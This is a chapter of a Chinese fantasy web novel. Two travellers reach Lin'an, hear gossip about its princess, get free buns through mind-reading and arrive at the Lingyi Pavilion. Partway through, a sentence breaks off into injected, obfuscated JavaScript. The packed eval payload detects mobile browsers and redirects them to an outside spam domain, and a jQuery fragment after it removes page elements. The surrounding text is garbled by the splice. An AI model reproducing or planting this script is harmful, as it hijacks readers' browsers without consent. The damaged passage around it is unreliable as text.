灵婆笑道:“我在临安落脚的地方是灵异阁,就在皇宫附近。你若还没有着落,可以暂于此地栖身。此地来来往往的人不少,姑娘若在此地卖鞋,眼前将就下去是没有问题的。”
灵异阁?听起来和红颜国的异术阁差不多的样子。
落尘心中浮现出一幅画面:一群空中飞人舞刀弄剑,伸长脖子吸溜着白云,在他们下面,有一个姑娘带着一个孩子,如唱戏一般叫卖:“卖鞋喽!”
想着想着,落尘不禁笑出了鹅叫声。这也难怪,红颜国的异术阁基本就是这么个地方。
红颜国的异术阁,用于登记和管理红颜国所有的异术者,掌握着红颜国的兵权。若赶上两国交战,由异术者出战是最好的选择。所以,异术者在红颜国具有至高无上的地位。
同时,异术阁还掌管着人事权,重点是须眉奴的分配问题。不知从多少年前开始,在红颜国人的传统认知里面便是:须眉国人,永世为奴。
就算是须眉国人内部,也被分为了三六九等。
长相潇洒帅气、风流倜傥的,被分配到孕婴阁,为女儿国提供种源。
有力气能干活的,扔回须眉国,忙时种田养蚕,提供着红颜国的吃穿用度;闲时,由异术者看管着,为红颜国修桥铺路、建房修舍,但是绝不会让他们同红颜国的普通百姓直接接触的。
剩下些身材矮小、柔弱如女的,自小便被发配到奴阁,专人养训,长至十二三岁,为红颜国人做低等家奴。
“灵异阁不是管理异术者的地方吗?”因临安国不同于红颜国,没有须眉奴,落尘便只问是否管理异术者。
灵婆笑道:“大大不同,可以说毫无相同。临安国的灵异阁,是个有趣的地方,姑娘去了就知道了。”
见灵婆卖了个关子,落尘也便没有再问,唯有礼貌地附和笑笑。
对于红颜国外面的世界,她一无所知。
女君让她一路向西,她找不到更好的选择。
灵婆建议她去灵异阁,她便也只知道了灵异阁。
灵婆风趣健谈,一路上讲临安国的趣事。落尘第一次去,实在是好奇,听得津津有味。
尤其说到临安国的公主时。
这临安国的公主,名唤惊玉。说来也神奇,她竟也是一个吸凤的体质。
据说临安公主出生之夜,伴随一声嘹亮的婴儿啼哭声,王宫上方金光灼灼,一群彩凤绕着皇宫盘旋,“哕哕”的凤鸣声空灵脱世,王宫上下的人都纷纷出来观看。
人人都大赞:临安国的公主是神人转世,彩凤满天是前来护主。临安国主和王后非常高兴,对惊玉公主极其宠爱。
周国听闻临安公主带凤出世,极其祥瑞,纷纷携幼子抢前定亲。临安国主看上了当时飞乐王一岁的幼子,两国定下了娃娃亲。
当时,飞乐国可是燕凤洲最强的王国了。旁人都说,临安国主是看上了飞乐国的实力,并不是什么一岁的飞乐王子。
总之,飞乐王后对这桩姻缘非常满意,准备了很多彩礼,还耗费万金给小公主在临安王室建了一座金堂。
“那这位惊玉公主还会唤凤来吗?”落尘比较关心这位是否和自己一样。
灵婆摇摇头:“只有在出生之时引来了凤凰,余时便没有凤凰来过了。”
国主本以为公主是个资质过人的,可无论是琴棋、还是书画,都资质平平。后来,王后想让公主试试练剑练舞,于是找了举国最好的剑师和舞师。
谁知公主根本没有耐心,偷偷给剑师舞师的茶水里下了迷药,去隔壁王亲们的摔跤房摔起跤来了。
王后来探查公主的学业,却看到一堆衣服丢在门口,男剑师和女舞师苟在一起,大汗淋漓地行周公之礼,赤条条的,简直不堪入目。
隔壁的摔跤房里,公主正把一个肥头大耳的贵族少年骑在身下,“哐哐哐”地挥舞着拳头,那人发出一声声“啊啊啊”濒死般的鬼嚎,与公主“咯咯咯”的笑声形成鲜明对比。
女舞师气急败坏、不堪耻辱,即刻离开了王宫,从此销声匿迹。男剑师一脸黑线,与临安王室割席断交。
王后气坏了,公主还在狡辩:她在药房明明拿的是迷药,怎么会是媚药?
原来这公主学业太差,竟把字都识错了。
“婆婆此去,是因此事给公主讲灵吗?”
“说是公主身上出了更大的问题,具体什么事,国主并未在信中明说。公主冥顽,国主一直认定她是灵气未启,想必国主是想让我为公主打通灵脉吧。”
难怪,出生便能引彩凤入宫的公主,混成这个样子,岂不是很惨。国主夫妇能接受才怪。
还好,同样是与凤有缘的人,自己没混成临安公主,落尘甚至有些悻悻。谁知,凌臣一仰头,给了她个极其鄙视的眼神。
“那当时与她定亲的飞乐王子呢?”落尘忍不住八卦起来。
灵婆笑道:“要说那位,可是燕凤洲数一数二的美男子了!而且,武学也精湛。临安国赚了。若飞乐王后还再世,估计都追悔莫及了。”
“可怜,他的母后去世了吗?”
“你的关注点为什么不是:他的美貌数一数二呢?”一直默不出声的凌臣冷不丁地来了一句。
落尘翻了个白眼:“红颜国的女人不喜男人啊!”
凌臣:“……”
灵婆笑呵呵地接口道:“在他七岁时,他的母亲便撒手人寰了。”
为什么谈到别人的母亲去世,灵婆却这么开心?
凌臣一脸无语状。
落尘瞬觉茫然:失去母亲的飞乐王子应该很难过吧?
母亲?母亲对子女应该是什么样子?落尘脑子里并没有特别清晰的概念。
红颜国人都出生在孕婴阁,出生后被送到育女阁养育,一直长到十八岁出阁,经由上层一层层遴选出农女、工女、商女,以及将女、王女,以从事不同的工作。落尘是女君唯一选定的阎王。
红颜国的女人们会自由组合成家庭,有独居的,有三三两两居住在一起的,也有五人八人组成一家子的。所以,落尘也有两个家人。
她不知道自己的生身母亲是谁。在育女阁,她的师父是阁主觉黎,算是母亲吗?出阁后,她名义上的母亲是女君吟芙,她是女君指定的红颜国主继承人。
……
天色渐渐亮了,临安国同红颜国接壤,一夜之间,便到了。
本来深夜寒凉,没想到早间的临安国,寒意更浓。凌臣忍不住打了喷嚏:“好冷啊!”
红颜国东、南、北三面环山,山名炎然山,终年熊熊烈火,燃了不知已有多少年,成为红颜国的天然屏障。
北山脚下有一条河,河水常年沸腾,沸水滚滚,经年不息。死刑人、寿终之人,均会被生葬或死葬入内。
河水自东向西,终止于同临安交壤的地界,沿着山脚向后山流去。所以离开国界后,温度自然骤降下来。
“临安国不比红颜国暖和,小兄弟,我这有件袄子,你穿上吧。”灵婆笑嘻嘻地从身上的包裹里掏出一件小袄,递给凌臣。
凌臣一见那小袄,面现惊恐,如临大敌,劈手把袄拍到地上,又一脚踢飞。他十分嫌弃道:“老妖婆,我只不过戳了一下你的腚,你这就记仇了吗?”
灵婆不羞也不恼,仍然一副菊花笑脸,小跑着弯腰把袄子捡起来:“不要便不要,我收走就是了。”
落尘连忙说:“抱歉啊,婆婆,小孩子不懂礼貌。衣服您收好吧,我弟弟他喜欢……”落尘偷眼瞧了瞧凌臣身上的那件粗布衣服:“喜欢穿粗布的衣服……”
凌臣显露不悦之色:“……”
“无妨,无妨……”灵婆苦笑着摇摇头,离开了。
和灵婆作别后,二人便按照其指点,径直朝着灵异阁的方向走去。
“那个,”落尘掂量着言语,怕自己接下来说的话引起凌臣误会:“凌臣,我知道你是个懂礼貌的人啊,你应该不会无缘无故去扔别人的袄子吧?”
凌臣负手而立,高昂着下颌:“勉强原谅你吧。”
落尘:“你好像不太喜欢那个老婆婆?嗯,那一定有你的道理!”
凌臣:“老妖婆没安好心,你小心别中他的计!”
落尘:“那个,你是怎么揣测出来的?”
凌臣:“落尘,我能读懂她心中所想,你相信吗?”
落尘:“……”
落尘怔了片刻,然后点头:“我相信!读心术?什么时候觉醒的异术啊?”
“大概是昨天。”
“你不要抱我啊!你还穿着那件鬼衣。”凌臣做出闪躲的动作。
落尘刚想张开双臂,抱抱这个“小朋友”。没想到,她还未及做动作,就被落尘读出来了。
落尘挠挠头:“我一时高兴,竟忘了。”她本能地往后退了两步。
“嗯,乐极生悲,明白吗?”凌臣道。
落尘向学生一样点点头:“明白的,凌老师,还请多抬贵耳,少听听我啊?使用异术耗费心力,这个道理你应该明白的吧?”
“明白,好术用在刀刃上。”这次轮到凌臣乖乖点头。
……
“前面有个卖包子的,你看到了吗?”凌臣问。
落尘肚子已经咕咕叫,她咽了咽口水,点头道:“看到了。一文钱两个大肉包。”
“我说的是那个卖包子的男人!”凌臣嫌弃道。
随后他舒了一口气,缓缓道:“他心里在想,如果这个美女给他笑一笑,他就送她两个包子。记住,不要说你没钱,他不喜欢没钱的美女。”
“那不太好吧?”落尘瞧了瞧卖包子的老板,那人正直唰唰射来两道贪婪地目光,不情愿道:“那不是骗人吗?”何况,她也厌恶那种目光。
“他乐意让你骗呢!千金难买人家乐意。想想你的肚子,想想可怜的我吧?呜呜……”凌臣把眼睛埋在十指缝中,抬头偷眼瞧她。
落尘笑着拍掉他的手:“好了,仅此一次,江湖救急。我们有钱了记得还人家。”
卖笑不卖身,活着最重要,落尘安慰着自己。
说着,二人行至卖包子的摊位前,包子摊前竖着一块木板,用毛笔写着歪歪扭扭几个字:“一文钱两个”。
落尘特地梳理下表情,努力展开笑颜:“劳驾,大哥,我要两个包子。”
老板堆着笑脸,果然道:“大妹子,今天的包子免费送啊!”
果然,他将两个热腾腾、软乎乎的白面大包子用纸包起来,塞到了落尘的手中:“不用客气啊,你是今天的幸运顾客。”
落尘拿着包子:“那多不好意思。”她卖力地笑着,卖包子的男人口水都流出来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626551|172392||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
凌臣扯着她的手,便往前拉边低嗔道:“够了,他够本了,快别笑了!”
“我想着不能让人家吃亏啊,小本生意不容易。”落尘边慢吞吞瘸着腿往前走,边回头笑,边低声回应。
凌臣白了她一眼:“落学生!”
“哎,凌老师!”落尘这才把头转回来。
“还有旁边那个卖烧饼的……”凌臣道。
“喂,打住啊。有包子吃就够了,别想着烧饼的事了!”落尘道。
“……我的意思是,卖烧饼的人在想,那个瘸子是饿病了吧,吃个包子至于乐成那样?”
两个人扑哧一声,又笑起来。
“好好好,我至于。”乐完后,落尘自嘲一句:“我有病,病人更应该好好吃饭啊,女君和师父说了,活着比什么都重要。”
两人一人捧着一个大肉包,边走边乐呵呵地吃,包子里裹着大块肥美的肉,软滑爽腻,简直是香入肺腑啊。
“你刚刚说到,那灵婆没安好心,她想对我们做什么?”落尘边吃边问道。
凌臣双手托着包子,用袖子擦了下嘴巴里流出的油,道:“她想迷了我。不过她觉得昨夜没有机会,还会找上门来的。”
“她怎么迷你!?她为什么要迷你!?”落尘疑道。
“不知道,没读到更深层的神识。总之,对这个人,万分小心!”
落尘轻“哦”了一声,感觉口中的包子都不香了。
“那件衣服也有问题吧?”落尘问。
“问题大了!估计我穿上那件衣服会出事。你没见那件衣服很合我的尺寸吗?老妖婆明显有备而来!”凌臣答。
落尘道:“我发现了,很蹊跷,也相信你不会无故发疯。”
两人默契地对视一眼,各自陷入沉默。
……
瘸着腿的落尘慢吞吞地在前面走,羽灵真衣失去了灿灿金光,只如一件破旧的丝制玄衣。
面黄肌瘦的小个子凌臣,在她斜后方约一臂的距离,不紧不慢地跟着。
遇到一汪清水,落尘提议:“我们去洗把脸吧,没准人家灵异阁有要求,面容不洁者禁入……”
凌臣:“……也是,别被当成乞丐轰出来……”
落尘把脸映在清水上方,一手碰水,正待闭眼要洗之时,双目突然圆睁,惊喊道:“谁?”
原来,水中映出一张圆圆的少女脸,皮肤如羊脂般柔滑,下颌线弧度紧致而流畅。
虽有几道灰痕,也难掩其美。眼睛圆圆,虽惊却似笑,像载着星子的新月般。
和女君一样,天生一副笑脸。
和女君不同,水中女子的笑宛若天生,女君的笑更似人工。
“是你啊!昨日你就变成这样了……”凌臣叹了口气,小小眉头快要皱到了发际线处,“我一直忍着没告诉你,怕你难过。”
“是吗?好像变丑了不少!”落尘洗了把自己的脸,果然,水中女子脸上的灰痕消失了。
落尘有点怅然,两天发生了这么多事,倒是有人和她商量下呀!不商量也行,提前打个招呼有点心理准备也行呀!
“凑合看吧!”凌臣道,“这张脸更安全……”
“那个,凌臣啊,你的意思是不好看吗?”落尘满怀期待地看着凌臣的脸,她第一次这么认真地问道。
“你变成什么样,你都是落尘!”凌臣同样洗了把脸,三步并两步走在了她的前面。
落尘低低“哦”了一声,心情低落,瘸着的腿愈发沉了起来,被凌臣远远落在了后方。
“好看!”凌臣背影略一停顿,前方传来高亮的回答。他虽然知道落尘会难过,但没想到落尘会这么在乎自己这张脸。
落尘这才放下心来,凌臣从来没说过谎,她信他!于是,她顿时阴转晴,瘸着腿笑嘻嘻地赶了上来:“凌老师啊,你等等我!”
落尘有点开心,嘴里哼起了小曲。吹箫太引人注目,她欢快地低声哼着《御凰曲》的小调子。若是双腿健全,落尘说不定都要蹦跶起来了。
直到前方隐隐传来连连叫好声,两人这才发觉,一块刻着“灵异阁”的半人高石碑矗立在眼前。
石头一侧,一条青石板小路向里延伸数里,深入一片青砖红瓦处。路旁摆着好多小摊子,卖水果的、卖布料的、卖针线的……
但是,只有摊子没有人。
当然,虽然没有人,还有两只别的活物。
一只大公鸡,鸡冠上插着一根稻草,正沿着小摊子们悠闲地溜溜达达、踱来踱去,时不时来一声“咯咯咯”。落尘心想,灵异阁的鸡是懒散还是过度敬业?天都这么亮了,还用打鸣?
一只白猫面向太阳,半眯着眼,懒洋洋地瘫在一堆雪白的萝卜上,见到落尘两人,胡须一动一动,对着落尘可怜巴巴地长“喵”一声,半站起。落尘发现,那猫咪竟也折了一条腿。
呀,同病相怜!
太阳光照耀下的白猫,啧啧,竟莫名有一丝神性。落尘忍不住上前想去摸摸那白猫的毛。
凌臣忍不住喝道:“别动!”
落尘停住半空中的手:“你也能读懂猫的心思?!”
凌臣嫌弃地看了她一眼:“倒不是!那猫没准刚吃过耗子。”
落尘:“……”
凌臣努了努嘴:“看那边!”